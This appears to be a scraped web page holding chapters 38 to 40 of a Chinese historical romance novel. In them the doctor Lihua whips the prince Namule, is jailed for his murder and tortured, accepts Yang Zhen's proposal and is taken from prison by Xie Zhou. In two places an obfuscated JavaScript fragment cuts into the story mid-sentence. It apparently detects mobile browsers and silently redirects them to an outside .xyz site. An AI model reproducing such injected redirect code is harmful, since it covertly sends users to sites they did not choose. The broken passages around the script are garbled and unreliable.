他们唇枪舌战之时,梨花正与那木勒“浓情蜜意”。 李遥一走,那木勒迫不及待打开箱子,抱着婀娜佳人放到床上。 梨花娇娇弱弱道:“大人绑得奴家好疼,不如松开来让奴家服侍您。”男子大多喜欢温柔小意,她这般恳求想必那木勒会同意,只待他一靠近,她就撒出迷药。 那木勒果然色迷心窍俯身靠过来,梨花悄然从绳子里脱出手来,扬手便要撒药粉,谁料那木勒早有提防,立刻握住梨花的手腕,把她两只手紧紧绑在床头。 那木勒道:“你们汉人真是诡计多端。” 38. 二选一题 “我要她。” 那木勒既是屠村害梨花家破人亡的仇人之子,又是残害红牡丹和许多无辜少女的恶人,梨花不着痕迹压下眼神中的慌张与愤恨,她假装不认识那木勒,语带媚态道: “听公子这么说,您不是汉人?”她上下打量露出一副了然神情,“看您高大威猛英姿不凡,这宽厚的臂膀一个能打十个。” 那木勒闻言唇角不自觉上勾,“十个?你这小女子眼拙,本王……本公子能打二十个!” 梨花心底冷笑,那木勒果然还是那个莽夫,他当年在角斗赛场凭借一打二十的战绩一战成名,不止漠风,整个草原都听闻他有神力,但也只是有神力,却没脑子。 梨花小小试探,便叫那木勒放松警惕,她又作势凑近嗅了嗅,“难怪方才便闻到奇异的味道,原来是公子身上散发的英雄气概。” 那木勒低头也嗅了两下,只闻到从小腌入味的羊肉味,漠风人以能吃肉有力气为荣,他很喜欢自己身上的味道,只是来了宁国,他发现这些没品味的汉人对这味道十分抵触,甚至有官员当面掩鼻,他下令将那人的鼻子割掉。 他饶有兴致望向这个有品位的汉人女子,仿佛找到知音,控制梨花的手劲儿明显小了,梨花乘胜追击,“公子这样的大英雄,想来很得女子青睐,难怪您看不上奴家。”她从刚才花痴表情转为哀婉。 那木勒哈哈大笑:“汉人女子毫无情趣,玩些花样只会惨叫,你比她们有意思。”说罢跨坐在梨花腿上俯下身。 他沉重的身子压得床板嘎吱一声,腥臭的呼吸喷在梨花脸上,梨花头一偏躲过那张恶心的脸,忍着呕吐的冲动道:“公子这般行事难怪觉得无趣。” 那木勒道:“你想怎么玩儿?” 梨花光明正大拿出手中的药粉道:“这是能让人欲|仙欲|死的药,吃了它全身酸软无力,任人摆布,公子敢不敢吃?” 那木勒犹豫,把自己的生死交在一个陌生女子手里实在冒险,可这女子与众不同挠得他心痒痒。 梨花捏了捏他的大臂面露不屑道:“公子不吃也罢,奴家不会说出去的。”她直挺挺躺在床上扮死鱼。 刚才还说一人能打二十人,现在连一个弱不禁风的小女子的药都不敢吃,那木勒最受不了激将,一拳砸在床板上,夺过药毫不犹豫服下。 外面守卫听见动静问询,那木勒高声道:“滚远点,无论听见什么声音都不要进来。”此言正中梨花下怀。 服下药的那木勒意识很快开始混沌,迫不及待淫|笑:“来呀!” 梨花站在床边望着他,她本想立刻逃走,既然他非要她留下,那就别怪她新仇旧恨一起算。 她把绑手的绳子拧成两股鞭子,对着那木勒的脸狠狠抽下去,那木勒惨叫,侍卫想进来查看,想起那木勒的吩咐不敢进来,又听里面女子尖叫:“啊!好痛,好爽,公子好厉害!”侍卫了然,对视一眼自觉掏出破布塞上耳朵。 梨花一鞭一鞭抽在那木勒身上,他身上有盔甲抵挡,梨花觉得不解气,干脆把人扒得赤条条只剩吊裆裤。 人大腿内侧的肉是最嫩的,她专挑此处鞭打。 “这一鞭是阿爹阿娘的。” “这一鞭是邻居大娘的。” “这一鞭是小伙伴们的。” “这几鞭是其他无辜村民的。” “这是被你残害的女孩们的!” 那木勒被打得清醒几分,先是说出身份恐吓威胁,又服软求饶,他问:“本王究竟与你有何仇怨?” 梨花道:“被你们父子屠杀的人与你有何仇怨?被你残害的女孩们又与你有何仇怨?” 那木勒想梨花大约是哪家人来寻仇的,满不在乎道:“为大计而死是那些贱民的荣耀,能博本王一乐是那些女人的荣耀,本王让他们死得有价值,他们该给本王道谢才对!” 从来没见过如此厚颜无耻颠倒黑白的人,她一鞭抽在那木勒嘴上,那木勒嘴唇瞬间麻木呜呜乱叫。 梨花道:“你既然这么想听他们的道谢,那就下去亲耳听吧。” 她搓开绳子套在那木勒脖子上,那木勒慌了:“你真敢杀我!” 梨花笑道:“有什么不敢,无非是你死了我陪葬,我一条命报全村之仇,为民除害,死也值了。” 她手上又使劲,那木勒惊恐地看着她,只觉气息越来越少,他挣扎最后一口气道:“我死了,两国交战,死得可不止你一个人。” 他的话没错,漠风来使死在宁国境内,他还是王子,漠风王肯定不会善罢甘休,两国战事必起。流离失所家破人亡的日子梨花经历过,她不想其他百姓遭殃。 梨花无奈松手,脱力坐在地上。仇人就在眼前却不能报仇的无力感深深席卷她,她忍不住大叫一声。 这时侧门被人打开,梨花回头就见一个少女高举花瓶冲那木勒头砸下去。 来人放下手,梨花才看清,竟然是阿香,阿香抱住梨花道:“梨花真的是你?他打你哪儿了快让我看看?” 梨花疑惑阿香怎么在这里,正要问,却听到外面有脚步声,“此地不宜久留,出去再说。”她拉起阿香从侧门绕过耳房溜出摘星楼,一路往还春堂跑。 与此同时,先前离开摘星楼去找杨贞要人的李遥在半路停下,整件事情越想越不对。 杨贞抓了陈三和林公公肯定查到他走私的事情,但赖子在谢舟手里,谢舟这么久都没把赖子交给杨贞,说明谢舟暂时还站在他们李家这边。 况且就算谢舟真把赖子交给杨贞,一个走私的罪名不足以置他于死地,这个时候消息却突然传到他耳朵里…… 不好,是调虎离山! 李遥急匆匆赶回摘星楼,那木勒已经横死房中。 破坏他们李家与漠风王的结盟,影响可比走私大得多,那木勒死在他的私宴上,他难辞其咎。 侍卫禀报:“从醉仙楼带来的女子不见了,有人见到两个女子从房间慌张跑出来,一个穿绿衣,一个头戴阴阳鱼发簪。” 李遥脸色铁青:“抓回来。” 整个京城被戒严,荣国公府的侍卫和巡捕营的人全部出动,被追捕的两人浑然不知。 两人跑了很久,累了就缓步而行。梨花说了自己来救绿萝的事,删去旧怨只说替被害的女子报仇,她问阿香:“你怎么在摘星楼,还来救我?” 阿香颇为羞涩道:“小川约我来摘星楼见面,这是他第一次约我出来。我百无聊赖等着,看见一个人特别像你,自从你进了太医院就没怎么见你了,跟上去想和你打招呼。然后就看你进了一屋子,屋子里又出来一个穿你衣服的陌生女子。” “那就是绿萝。”梨花补充。 阿香继续道:“再然后又出来一个男人和他的侍卫们。” “那是荣国公李遥。” 阿香道:“后来我在不远处等你,你一直不出来,房间里还传来阵阵惨叫,我怕你出事,从旁边耳房进去,发现耳房和你所在的房间是相通的,听到你的叫声,这才冲进去。” 梨花用手背摸摸阿香的脸,自从考太医院,去惠民药局赴任,她已经很久没和阿香喝酒谈心,竟连她和小川走到一起的事也忽略了。反倒阿香能在人群中一眼认出她,还冒险救她,梨花心中滑过一阵暖流。 “谢谢你阿香。” 阿香被摸得舒服,像一只毛茸茸的小狗来回蹭,突然卡了壳,头上的簪子挂住梨花的手,阿香取下簪子咬唇道:“那个……我没有像样的簪子约会,想起你包袱里这个,擅自拿来用了,对不起……” 簪子方梨留下来的,刚来京城梨花戴着这支簪子去摘星楼见穆易,穆易没见到,今天阿香戴它去见小川,小川也没见到。 梨花抚摸阴阳鱼簪子,白色阳鱼玉色通透,上面嵌着黑色鱼眼,这支簪子明显是一半,她心道:簪子不完整,人也不团圆。 阿香歇够了,拉着梨花又要跑,梨花却不动,阿香心想这个簪子对梨花很重要,她怎么鬼迷心窍偷拿来戴的,她道:“你骂我吧,不,你打我吧。” 梨花摇摇头,阴阳鱼簪子造型奇特,见过的人一定不会忘记,阿香怕是早被人注意到了,她们跑不了了。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295991|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把簪子戴到自己头上,对阿香道:“你走吧,就当我们没见过。” 阿香委屈地要哭出来,梨花不要她了。 泪珠还在眼眶里滚,身后已然传来李遥的声音: “往哪儿走啊?” 一支箭从手臂擦过,飞箭力道极大带倒梨花,手臂立刻有血珠渗出来。 两人摔在地上惊恐回头,就见李遥满脸杀气带人将他们团团围住,李遥的目光在梨花身上游移,最后落在她发间的阴阳鱼发簪上。 梨花连忙将阿香拦在身后道:“这件事与她无关,你有什么事冲我来。” 谁料李遥却道:“我还没说什么事呢,你就不打自招了,都带走吧。” 这时又一道清冷的声音从相反的方向传来:“荣国公这是想带谁走啊?” 谢舟仍旧一身黑衣,不怒自威,李遥的人自觉为他让出一条通道,梨花露出笑容低声道:“你终于来了。” 她让绿萝去谢府找谢舟救命,谁知谢舟不在家中,绿萝费了半天力气才打听到指挥使衙门,谢舟和杨贞听说此事,顾不得争论赖子的事,一齐去摘星楼救人,结果又扑个空,见到那木勒的尸体,就知道事情严重了。 杨贞冲过去要扶梨花,被李遥的人拦住,梨花这才注意到杨贞也来了,扯着笑容道:“杨大哥,又给你添麻烦啦。” 杨贞道:“是我来晚了。” 谢舟道:“如今不宵禁,荣国公声势浩大戒严,恐有扰民之嫌。” 看这架势,谢舟选择和杨贞站在同一战线,李遥道:“此二人是杀害那木勒王子的凶手,我要抓她们回去调查。” 谢舟故作惊讶:“哦,那木勒王子赴荣国公的宴死了?” 梨花和阿香对视一眼皆发出疑问,她们走时那木勒还有气息,怎么突然死了?伤人和杀人的罪刑完全不同,梨花抢先道:“是我杀的。” 阿香也道:“是我杀的。” 李遥摊手,“你看,我只说要调查,她们自己承认杀了人。” 杨贞道:“此事自有刑部审理,不劳荣国公费心了。” 李遥眼神一动,杨贞对梨花格外不同,他暗中派人调查过,当日摘星楼救人的就是方梨,早把梨花归入杨家一党,如今简直是送上门来的把柄,那木勒的死好好利用说不定能成为扳倒杨贞的一步棋。 梨花发现她们中了圈套,恨恨盯着李遥,这眼神李遥觉得分外熟悉,仔细端详半天突然想起来,她是醉仙楼谢舟怀中的舞姬。 这个女人同时纠缠两个男人。 “有意思,真有意思。”李遥忍不住拊掌叫好,他道:“来玩个游戏吧——交换人质。” 他指着谢舟:“你交出赖子,可以从她二人中挑一个带走。” 他又指着杨贞:“你交出林公公,可以从她二人中挑一个带走。” “二位谁先啊?” 李遥为自己的机智感叹,两人同时争抢方梨,他们的同盟不攻自破,两人都不救人,方梨杀死那木勒的事一样拖杨贞下水。 见两人都不说话,李遥道:“很难选吗?自古英雄难过美人关,要不让美人反选?”他捏着梨花的下巴道:“他们二人,你选谁?” 梨花一低头恶狠狠咬在李遥虎口上,李遥松开手打她一巴掌:“贱人!” 杨贞惊呼:“不要!”他又要向前,被侍卫拦住。 梨花被打得脸颊红肿,啐他一口:“别想离间人,我才是杀人者,带我走吧。” 李遥被梨花激怒,表情扭曲逼问谢舟和杨贞,“看来二位不准备玩这个游戏了。”他拔出匕首竟要当众杀了梨花,却被谢舟指尖弹出的石子弹飞。 李遥大笑:“看来谢大人先选了。” 谢舟拍手,远处浊流不知何时押着赖子出来,他早做好备用计划,李遥此人难缠,不给他点好处带不走人。 李遥左边是阿香,右边是梨花,他肯定谢舟要的人是梨花,只要赖子一过来,他就立刻杀了梨花,他明知故问:“你要哪个?” 谁料谢舟指着阿香:“我要她。” 39. 狱中三见 谢舟的选择出乎众人意料。 杨贞质问:“你不把赖子交给我我不怪你,毕竟你我立场不同,可你明明对梨花……你既然愿意换人,为何不肯救梨花?” 谢舟笑道:“自然是为了给杨大人表现的机会,请吧。” 杨贞看向梨花,谢舟救了梅隐香,他没有理由不救梨花,可好不容易才抓住李遥的把柄,只有扳倒李遥,他才能更好保护梨花。 梨花不想他为难,便道:“杨大哥,你是好官,千万不要为了我违背原则。” 杨贞身为都察院的御史不能知法犯法放过李遥,他能做的只有暂时保住梨花性命。 他道:“梨花放心,我定会尽快解决此事。”他看向李遥,“若她在狱中遭遇任何不测,杨贞不介意舍下杨姓,与国公共赴黄泉。” 梨花道:“有杨大哥在,他们不敢把我怎么样的。”随后深深望了谢舟一眼,随李遥离去。 ———— 大牢,梨花不是第一次来。 上刑,她却是第一次感受。 沾了盐水的皮鞭一下又一下抽在身上,她自知骨头不硬第一鞭就哭出来,鞭子的破空声与她的惨叫声融为一体,不消片刻打得她皮开肉绽。 身上一会儿是火盆传来暖洋洋的温度,一会儿是狱卒走过带起的冷风,混沌中她天马行空地想,被鞭打原来是这种感觉,每打一下她就想象这一鞭是落在那木勒身上的,这么想便不怕狱卒下重手。 看她挨打还发笑,李遥道:“你莫不是脑子有问题?只要承认你是受杨贞指使杀害那木勒王子,便可少受些皮肉之苦。” 梨花厌烦地瞥了他一眼,他却以为她被说动了,又道:“杨贞人中龙凤,像你这样倾慕他的女子不在少数,或许他对你也有过几分真心,可到底不如他的家族荣耀重要,今日他的态度你也见到了,你们之间的感情不过如此,何必为了一个不爱你的人受苦。” 梨花身心俱疲实在懒得应答,李遥拿过状纸,“签了这份认罪状我就叫人送你回牢房。” 梨花想听听李遥给她和杨贞罗织了什么罪名,随口道:“我不识字,你念给我听。” 从来没被人使唤过的李遥破天荒听她指示,里面写了杨贞如何结党营私、构陷朝廷命官,如何指使妓|女方梨杀害漠风王子那木勒,意欲破坏两国邦交,是朝廷之耻、国家罪人云云。 梨花心道:写自传呢。看到李遥脸色不善,她才意识到把心里话说出来了。 她又道:“我是皇上亲封的医女不是妓|女,国公大人要抗旨?” 李遥鼻孔冒烟,“好,改。” 梨花问:“你刚说那木勒怎么死的?重复一遍,我熟悉熟悉,省的到公堂露馅儿。” 李遥强忍怒火,“用刀捅进心口,一刀毙命。” 梨花奇怪,她明明是鞭打那木勒,阿香用花瓶砸他,怎么会是被刀捅死的呢?李遥没必要在杀人方式上做文章,除非那木勒真是被人捅死的,她们离开后肯定还有别人进了房间。 狱卒拿走认罪状修改,手下进来在李遥耳边说了什么,他脸色苍白离开大牢,梨花暗暗琢磨该怎么把自己的怀疑透露给外面人。 ———— 次日一早,狱卒通传梨花,有人要见她。 去探监室的路上梨花不禁在想,这种时候谁会来见她,杨贞还是谢舟?谢舟昨夜没选她,现在肯定也不会见她,她立刻排除这个选项。 果然,来见她的人是杨贞。 见到伤痕累累的梨花,杨贞下意识抓起梨花的手,想起自己没交换她,抬起一半的手腕又放下,咽了咽口水道:“对不起。” 梨花主动上前拉起杨贞的手道:“你看,我没事,能走能跳的。”她作势蹦了几下,身上筋骨好似要裂开,她龇牙咧嘴站稳,表情夸张好笑。 她本想逗乐杨贞,却让杨贞眼眶更红。 杨贞眼中的梨花一贯擅长苦中作乐,在田垄挤出一小块地种菜她便觉得幸福,费尽千辛万苦考上太医院她便觉得美满,在牢中受刑竟还想着安慰他,天底下没有比她更纯善的姑娘了。 梨花悄声道:“李遥想借那木勒之死诬陷你,你千万小心他。” 杨贞轻轻回握梨花的手道:“你受苦了,我想到救你出去的办法了,只是……” “只是什么?” “梨花,你可愿做……” “做什么?”他声音突然变小,梨花没听清。 杨贞深吸一口气鼓足勇气道:“你可愿做我的妻子?” 梨花没想到杨贞突然求婚,这可是在大牢里,她想起那天说的查清走私案就能想皇上请婚,便问:“你查清走私案了?” 杨贞惭愧摇头,他还没找到李遥走私和行贿的账本,可梨花在狱中伤成这样,即便李遥忌惮不敢杀她,这样的折磨他一刻也不能忍。 杨贞道:“家父曾蒙先帝圣恩,赐丹书铁券,可保杨家人性命。只有……只有嫁给我你才能成为杨家人,若你愿意……我……” 他昨夜想到此法,碍于上次表明心迹时梨花的犹豫,他不确定梨花会不会同意,辗转反侧彻夜未眠。方才看到梨花对自己的关心,他心生希冀。 似乎生怕梨花说出“不”字,他立刻补充,“只是名义上的夫妻,我不会强迫你做任何事,我知道嫁给我勉强你了,生于广阔天空又岂会愿意困在笼中,婚后你依旧是自由的。若你实在不愿留在我身边,三年后我们和离。” 梨花抬眸看他,杨贞慌忙道:“三年太久了?那就一年,一年也好,再短没法和皇上交代。”他低下头,像个做错事孩子。 忐忑许久,耳畔传来梨花噗嗤一笑,“我何时说过不愿?” 梨花想,杨贞家世好,人品好,两次求婚应当是真心喜欢她,被坚定选择是莫大的幸福,这事换了哪个女子都会愿意。 杨贞以为听错了,呆愣在原地,直到梨花抱住他,少女的体温透过衣衫传过来,他才确认梨花答应嫁给他。 杨贞道:“还有一件事,因为事发突然,我只能说我们是私定终身,此举会对你名节有损。” 梨花双手紧紧环住他:“没关系,杨大哥,你是为了救我。” 杨贞含笑回抱梨花,许久才依依不舍松开她去上朝。 之后李遥也没来折磨她,梨花喜滋滋在牢中坐了一上午。 ———— 中午时,狱卒通报又有人来见她,梨花蹭一下站起来,这次莫不是谢舟?怎么总想起这他,她晃晃脑袋将这个荒唐的想法赶出脑海。 应该是杨贞又来了,刚互通心意,短时间内这么频繁见面,饶是她脸皮厚都要害羞了。 可到了地方,她却见到一位不速之客——顾承嗣。 顾承嗣一见梨花就围着她绕了三圈,发出夸张感叹:“哎呀呀,谁把我们救死扶伤聪慧善良的医女大人伤成这样,真是太不懂怜香惜玉了。” “让我猜猜。”他折扇一收点在梨花肩头,“莫不是荣国公?哎呀呀,辣手摧花,不忍直视。”他折扇一展,遮住眼睛,一副同情模样。 梨花被他点在伤口处,疼得嘶嘶倒吸凉气。 顾承嗣道:“你瞧瞧,抢别人的人就是这种下场。” 梨花道:“你找我什么事?” 顾承嗣收住那副吊儿郎当的表情,正色道:“我记得警告过你不许和杨贞在一起,看来你没把我的话放在心上,杨贞竟然为了你忤逆仁德太后心意,当众在朝堂上拿出丹书铁券说你已是他的妻子,当今太后亲侄子竟然要娶一个医女,简直自降身份、自甘堕落。” 梨花道:“顾公子真奇怪,喜欢公主不去追求,反倒执意拆散别人的姻缘。” 顾承嗣笑道:“喜欢不是非要得到,看到她开心我就心满意足。我幼时便喜欢她,可她的眼睛总在杨贞身上,杨贞擅长马球,她悄悄练习,我就给她当陪练,她心心念念‘银月弯钩’,我就把这一招练得更帅气,即便只作为另一个人的影子存在。” 梨花嗤笑:“顾公子还真是深情,可把自己感动坏了吧。” 面对梨花的阴阳怪气,顾承嗣没有半分恼怒,他道:“只要你不在了,杨贞情无寄处,自然会回头看月奴。” 梨花道:“听你的意思是要杀了我?” 顾承嗣道:“哎呀呀,冰雪聪明的你这次可猜错了。我才不杀你呢,你死了月奴会伤心的。我会杀了梅隐香和她爹,陆鹏,庚娘母女,哦对,还有宫里那位秋美人。” “秋水仙可是皇上的人。” “弄死一个人又不是非要打打杀杀那么难看,冬天的一场风寒便能让人香消玉殒。” 梨花皱眉,“枉我在马球赛时还以为你是个好人,原来也是阴险之徒。” 顾承嗣身子向后一仰,“我怎么不是好人了?我又没说非要杀了他们,只要你与杨贞分开,我不但不伤害你身边的人,还能把你完整无缺救出来。” “怎么救?” “找个身形相似的女子替你,既能救出你,又完全不影响李、杨两家的争斗,哎呀呀,我可真是个天才。” “身形相似的女子从何而来,她何其无辜替我受过?” “找个替死鬼轻而易举,至于无辜不无辜的,只能说她命该如此。”他似乎早打定主意,话音刚落便有一个与梨花极其相似的女子出现在角落,那女子眼神空洞毫无求生欲望,不是受过折磨,就是被逼无奈。 梨花心中涌起浓郁的悲怆,因为杨、李两家争斗,她就要做牺牲品,因为顾承嗣满足私欲,那女子就要做替死鬼,她们好像两只随时能被人碾死的蚂蚁。 望着能碾死她们的人云淡风轻摇动折扇,梨花的悲怆渐渐变成愤怒,她指着女子大声道:“我们普通人的命就不是命吗?” 顾承嗣像是听到了什么笑话,捧腹笑了半天讥讽道:“背后有杨贞撑腰,得公主时时记挂,还有个当妃子的朋友,你算什么普通人?费尽心机搭上贵人,又何必道貌岸然给自己立清高的贞洁牌坊。” 梨花被问得哑口无言,这一刻才恍然意识到,她早就不是孤身一人,虽然不是有意接近他们,但从被人轻视的小乞丐到人人尊敬的方女医,何尝没有借他们的光。 既然借了不如就借到底,她反问:“你不怕我把你的所作所为告诉公主吗?” 顾承嗣道:“怕什么,她知道了只会称赞我做得对,感谢我救她的好姐妹。” “她不是这种人。” 顾承嗣冷声问:“她是哪种人,像杨贞那样满口人人平等、世界大同的人吗?别天真了,世上人本就分贵贱,贱为贵所用,贱为贵所役,贱为贵所食,公主生来就在云端,她的喜恶就是天意。” 梨花本欲与他争辩,看他猖狂到无可救药,忽然不想再费口舌,只道:“难怪公主不喜欢你,你们不是一个世界的人。” 顾承嗣道:“无妨,随你怎么说,跟我走吧。” 梨花睁着无辜的大眼睛道:“谁说我要跟你走了。” “你有其他选择吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302743|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “当然有,我还可以向你证明你以为的天意是无稽之谈,你不能决定我生,也不能决定她死。” “如何证明?” “很简单,只要——我死。”说话间梨花已经拔下头上的发簪插向自己的喉咙。 这时凭空飞来一颗石子打断她,簪子从她颈边堪堪划过,留下一道深深的红痕。梨花回头,一片熟悉的衣角映入眼帘。 谢舟走进来道:“顾公子要把我的人屈打成招?” 顾承嗣笑嘻嘻道:“只是来探望朋友,谁知道她要畏罪自杀,谢大人可是亲眼所见,万不能给我乱扣帽子,否则我爹又要说我了。” 谢舟道:“顾公子倒是还记得方首辅是你爹,即便他是入赘顾家,可如今早已分府别居,一月一次的请安顾公子身为人子还是要去的吧。” 顾承嗣被触到逆鳞,面色一凛拂袖离去。 ———— 人走后,梨花悄悄对谢舟竖起大拇指,“论嘴毒,还得是你。” 谢舟道:“下次想死记得走远一点,不要让我看见。” 梨花嘟囔:“又不是我求你来的。” 谢舟白她一眼,拉人坐下,从袖中掏出药膏轻柔为她涂抹,药膏冰冰凉凉,火辣的刺痛感一下就减弱了。 梨花歪头偷瞄,只见谢舟用食指挖出薄薄一片药膏,与大拇指来回搓捻均匀,再小心翼翼涂在她伤口上,明明是个手握屠刀的人,做起这种事来却别有一番韵致。 谢舟道:“你真是能耐得很,引诱杨贞当众请婚,逼得顾承嗣纡尊降贵来大牢见你。” 哪里引诱?哪里逼迫?分明是欲加之罪。梨花问:“那你呢?” 谢舟没说话,无声胜有声。 他没想过救她。 在党争之中明哲保身是人之常情,梨花理解他的选择。 沉默了许久,梨花道:“昨夜谢谢你救了阿香。” 谢舟手一顿,“我没想到她也在那里,李遥不敢杀你却会杀她,所以我先带走她。” 谢舟这是在和她解释吗?这么说如果没有阿香意外出现,他原本就是要拿赖三换她的?意识到这一点,梨花心中突生雀跃。 谢舟又道:“我向皇上申请主审此案,会把真正的凶手绳之以法,你不用为了活命嫁给杨贞。” 梨花激动地站起来,“你相信人不是我杀的?” 谢舟把她按回去坐好,“相信。真正致死的是胸前那把匕首,不是你做的,但他身上的鞭痕是你打的吧?” 梨花点点头。 “你是嫌犯之一,出于查案需要,你最好把前因后果和我说清楚。” 梨花把红牡丹如何被那木勒伤害,以及想保护绿萝等情况完整告知谢舟,说到鞭打那木勒的原因,梨花道:“我承认只有一部分是为了替红牡丹她们出气,另一部分是我与那木勒的私人恩怨,但这部分我不想再提。” 每每想到全村人被那木勒父子屠杀,她都痛彻心扉无法呼吸。 谢舟道:“等你愿意说的时候再说。”他涂药的手突然使力。 “啊!”梨花吃痛回过神来。 谢舟收好药膏,梨花道:“涂了这贵得要死的灵药,我这几天就不会痒得到处抓了。” 谢舟问:“你还想在这里呆到什么时候?” 梨花脸一抖,“这是我可以决定的吗?我想立刻就走,这里臭死了。” 谢舟道:“那就走吧。” 梨花喜上眉梢:“哈?难道可以向你许愿?”她闭眼双手合十拜拜,“那我要金山银山肘子山。” “哎呀!”她的额头被谢舟用指节敲了一下,“别做梦了,还不跟上来要我抱你走吗?” 梨花惊讶一瞬,谢舟就这样把她捞出来了?能出去就好嘛,她忙不迭跟上去。 清溪等在外头,一见到梨花就翻了一个超级大白眼,他不情愿地递上披风,“每次有你准没好事,你知不知道为了带你出来大人费力了多大功夫,甚至……” “够了,驾你的马车。”谢舟冷声打断。 梨花笑道:“清溪,你倒是和你家大人一样喜欢翻白眼呢,只是没有你家大人翻得好看。” “那是,谁能有我家大人翻得好看……哎不对,你这是夸人吗,怎么听着不像好话。” 上了马车,梨花问:“我究竟为何能被放出来?” “不是放出来,是关在另一个地方。李遥如今自顾不暇,没资格再插手,此案由我全权负责。” “那我要被关在哪里?” “谢府。” 梨花心中一动,他在假公济私帮她吗?很快她就打消这个念头,活阎王哪有这么好心,哪一次不是利用她,第一次借她之手毁去李遥的牵丝引,第二次送她进药经阁查离魂散,这一次又想让她做什么。 她问:“谢大人希望我怎么做?” 谢舟没说话,看向她的眼神意味不明,却隐隐有些怒意,她不懂这怒意从何而来,只好识相的闭嘴。 车内再次陷入沉默。 马车一晃一晃,谢舟坐主位,梨花坐侧位。 马车压到石头,梨花险些飞出去,谢舟及时伸手往她腰上一带,她被拉回去,与他并肩稳稳坐在主位。 梨花尝试坐回去,马车一路颠簸,谢舟搂着她的手再没松开。 与此同时,被谢舟气走的顾承嗣正心绪不宁站在方府门口。 他手里紧紧握着悄悄捡走的阴阳鱼发簪,有太多问题该好好问问他的好父亲了。 40. 父母爱情 顾承嗣的父母当年也有一段为人传颂的佳话。 当初方延昌只是一名进京赶考的穷书生,背着破旧书箱借住在寺庙柴房中。一日,天降大雨,柴房哗哗漏水,他把仅有的一块油布盖在书箱上,自己淋雨。 此情此景恰被一位男香客看到,香客为他怜书之举感动,请他到自己的客房躲雨,二人一见如故相谈甚欢。 某日,突然有人来找方延昌,说吏部侍郎顾弘光要见他,那时他才知道,雨中所遇之人是女扮男装出来游玩的侍郎之女顾凤知。 顾凤知向父亲举荐了这位才华横溢的书生,顾弘光知晓女儿心意,问方延昌可愿入赘顾家。吏部侍郎是未来的尚书人选,入阁指日可待,有这样一位老丈人,方延昌的仕途无异于搭上天梯。 谁料方延昌拒绝的十分干脆,头也不回离开顾府。 顾凤知对方延昌念念不忘,只暗中为寺庙多添香火,请住持照拂方延昌一二。 后来,方延昌参加当年科考,毫不意外落榜了,他心有不甘却无可奈何,心灰意冷准备返乡之时,却爆出科考舞弊案,他状元的身份得以恢复。 吏部侍郎之女与新科状元自然登对,顾弘光便同意将女儿嫁给方延昌,榜下捉婿大家喜闻乐见。 谁料方延昌再次拒绝,顾凤知这次被伤透了心,竟一病不起。 这天,顾凤知听到外面敲锣打鼓,嫁给皇帝作贵妃的亲姐姐突然出现在她榻边,她才知道自己要成婚了,新郎就是方延昌。 方延昌对顾凤知道:“凤知小姐对我的一片痴心我岂会不懂,我对凤知小姐何尝不是如此?只是我一介穷书生,没有功名在身如何配得上你?” 顾凤知问:“既然如此,你为何在中状元后仍拒绝娶我?” 方延昌道:“我不娶你,因为我要入赘顾家,前些时日我回乡在父母坟头祭拜,一是告知我中状元的喜事,二是向父母请罪,从今往后方延昌便是顾家人。” 此话叫顾凤知一头雾水。 只听方延昌道:“顾大人膝下只有两位千金,贵妃娘娘常居宫中,这样凤知小姐便可陪在顾大人左右。” 顾凤知大为感动,原来方延昌爱她到如此地步,既给她状元夫人的名头,又使她能尽孝,得夫如此,夫复何求。 方延昌和顾凤知终于喜结连理,一年后诞下一子便是顾承嗣。可天公不作美,早产体弱的顾凤知半年后就撒手人寰。 此后十几年,方延昌再未娶亲,顾承嗣由外公顾弘光亲自教养长大。 后来,为避免睹物思人,方延昌离府别居,独自住在城东一座小院里,顾承嗣偶尔陪父亲小住。方延昌对顾承嗣颇为严厉,再后来连小住也没了。 顾承嗣没见过母亲、与父亲不熟,父母爱情的戏文传唱度很高,只是他总觉得这个故事被刻意美化过。 比如,父亲送给母亲的定情信物阴阳鱼簪子,明显只有一半,却说不清另一半去了哪里,甚至连母亲的那一半也不知何时丢失了。 再比如,母亲成亲前不是一病不起,而是有了身孕。 这许多都是他从下人口中听来的,他偶尔猜测也许父母爱情并非那么美满。 顾承嗣进来的时候,方延昌正在吃午饭,桌上只有一碟青菜豆腐,一碟瘦肉,两个馒头。他对儿子的到来很意外,但也只意外了一瞬,眼神立刻恢复如常。 方延昌道:“坐吧,粗茶淡饭,招待不周。”他招呼厨娘添筷子。 顾承嗣拉开凳子坐下,“回自己家,用不着招待。”说罢拿起个馒头。 方延昌夹菜的手一顿,筷子拐个弯送去顾承嗣碗里,“是啊,自己家,多吃点。” 他手一抖菜掉在桌上,尴尬一笑,顾承嗣捡起来直接放进嘴里,反过来给父亲夹菜。 方延昌夸顾承嗣长大了,越来越懂事,考校功课,顾承嗣对答如流,交谈政事,顾承嗣自有见解,两人你来我往任谁看了都要赞一句父慈子孝。 只有顾承嗣自己知道,方延昌出的题是他启蒙时念的书,父亲早忘了儿子已经长大,儿子也默契地不打断纠正。 方延昌想起李遥和儿子走得近,便道:“近日朝堂不安稳,你在家中静上一段时间。” 早朝时,先是有李遥的人参奏女医方梨杀害那木勒王子要求严惩罪犯,接着杨贞拿出先帝御赐丹书铁券说方梨是他的未婚妻,谢舟主动请命调查此事,然后兵部尚书严灼上报军器库兵器生锈,皇帝大怒下令彻查。 顾承嗣放下筷子,“谢父亲提醒。” 